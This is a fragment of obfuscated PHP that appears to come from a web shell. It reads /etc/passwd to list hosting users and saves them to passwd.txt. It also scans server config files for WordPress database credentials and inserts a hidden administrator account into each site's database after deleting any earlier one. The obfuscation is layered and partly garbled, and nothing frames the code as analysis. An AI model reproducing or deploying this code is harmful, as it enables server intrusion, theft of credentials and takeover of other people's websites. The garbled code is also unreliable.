array("\x64","\x69","\x72"))]:base64_decode('str_rot13(");vs(!va_neenl($_ine_h,$oynpxyvfg)){vs(fgevcbf($u,onfr64_qrpbqr(")L2hvbWU=str_rot13("))!==snyfr||fgevcbf($u,")/var/wwwimplode('implode('', array("\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28"))(implode('', array("\x29","\x29","\x4c","\x33","\x56","\x7a","\x63","\x69","\x39","\x6f","\x62","\x32","\x31","\x6c"))))!==false){$found[]=$u;}}}}}if(empty($found)){$_var_raw_etc=x_read(strrev(base64_decode(str_rot13("MN=="))));if($raw_etc){$lines=explode("\n",$raw_etc);foreach($lines as $l){if(empty(trim($l)))continue;$_var_p=explode(":",$l);$u=isset($p[0])?trim($p[0]):base64_decode('');$h=isset($p[5])?trim($_var_p[5]):'';if(!empty($u)&&!in_array($u,$blacklist)){if(stripos($h,'/home')!==false||stripos($h,base64_decode('L3Zhci93d3c=implode('', array('('))L3Vzci9ob21l'))!==false){$found[]=$_var_u;}}}}}$found=array_unique($found);$output=base64_decode('');foreach($found as $user){$output.=$_var_user.":\n";}if(!empty($output)){x_write(base64_decode('cGFzc3dkLnR4dA=='),$output);echo"Saved to: passwd.txt\nMethod: strrev(str_rot13(".")\nClean Users Found: ".count($found);}else{echo"Failed. No valid hosting users found via ID Scan or File Read.";}exit;}if($tool===implode('', array('n'))){$step=isset($_SERVER[$_var_h_step])?(int)$_SERVER[$h_step]:0;$limit=5;$mode=isset($_SERVER[base64_decode('SFRUUF9YX01PREU=')])?$_SERVER['HTTP_X_MODE']:base64_decode('anVtcGluZw==');$_var_target_sub=($mode===base64_decode('c3ltbGluaw=='))?base64_decode(implode('', array('txorDecode('c3a3c3a3c3a3c3b0c2a8c2abc2b9c2afc3bcc3bec295c2aec2afc2a9c2a5c2aec2afc3a2', 202)anVtcGluZw==');$scan_path=is_dir($target.'/'.$target_sub)?$target.base64_decode('Lw==').$target_sub:$_var_target;$all_files=scandir($scan_path);$config_files=[];foreach($all_files as $f){if($f==base64_decode('Lg==')||$_var_f=='..implode('xorDecode('2925647777647c2d', 5)('))Y29uZmln'))!==false||stripos($f,'settings')!==false||substr($f,-4)===base64_decode('LnR4dA==')){$config_files[]=$scan_path.base64_decode('Lw==').$f;}}$total=count($_var_config_files);if($step>=$total){echo json_encode([base64_decode(xorDecode('c2b2c3a2c283c2b9c2b5c299c287c2ab', 209))=>'doneimplode('', array('('))aHRtbA==')=>base64_decode(''),base64_decode('dG90YWw=')=>$total]);exit;}$batch_files=array_slice($config_files,$step,$_var_limit);$html_log=base64_decode('');foreach($batch_files as $file){$content=x_read($file);if(!$content)continue;if(preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]\s*\)/i",$_var_content,$m_name)){$db_name=$m_name[1];preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]\s*\)/istrrev("(")/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]\s*\)/i",$content,$m_pass);$db_pass=$_var_m_pass[1]??base64_decode('');preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]\s*\)/i",$content,$m_host);$db_host=$m_host[1]??'localhost';preg_match("/table_prefix\s*=\s*['\"](.*?)['\str_rot13("]/fge_ebg13(")(")=base64_decode('KU5ldyBBZG1pbg==');$st_cls="status-success";$chk=@mysqli_query($link,"SELECT ID FROM {$_var_pre}users WHERE user_login=strrev("u_wen$")");if($chk&&@mysqli_num_rows($chk)>0){$old=@mysqli_fetch_assoc($chk);@mysqli_query($link,"DELETE FROM {$_var_pre}users WHERE ID = ".$old[base64_decode('SUQ=')]);@mysqli_query($link,"DELETE FROM {$pre}usermeta WHERE user_id = ".$old['IDimplode('xorDecode('c388c384c285c296c296c285c29dc38c', 228)('))UmVwbGFjZWRzdHJyZXYo')=")status-warning";}$ins=@mysqli_query($link,str_rot13(")"));if($ins){$uid=@mysqli_insert_id($link);@mysqli_query($_var_link,"INSERT INTO {$pre}usermeta (user_id, meta_key, meta_value) VALUES ($uid, strrev("seitilibapac}erp${"), 'a:1:{s:13:\"administrator\"\x3b\x62\x3a\x31\x3b\x7d\x27\x29");@mysqli_query($link,"INSERT INTO {$pre}usermeta (user_id, meta_key, meta_value) VALUES ($uid, '{$_var_pre}user_level', '10')");$html_log.="
$clean_outbase64_decode(xorDecode('007c7e76151801202d387272', 79))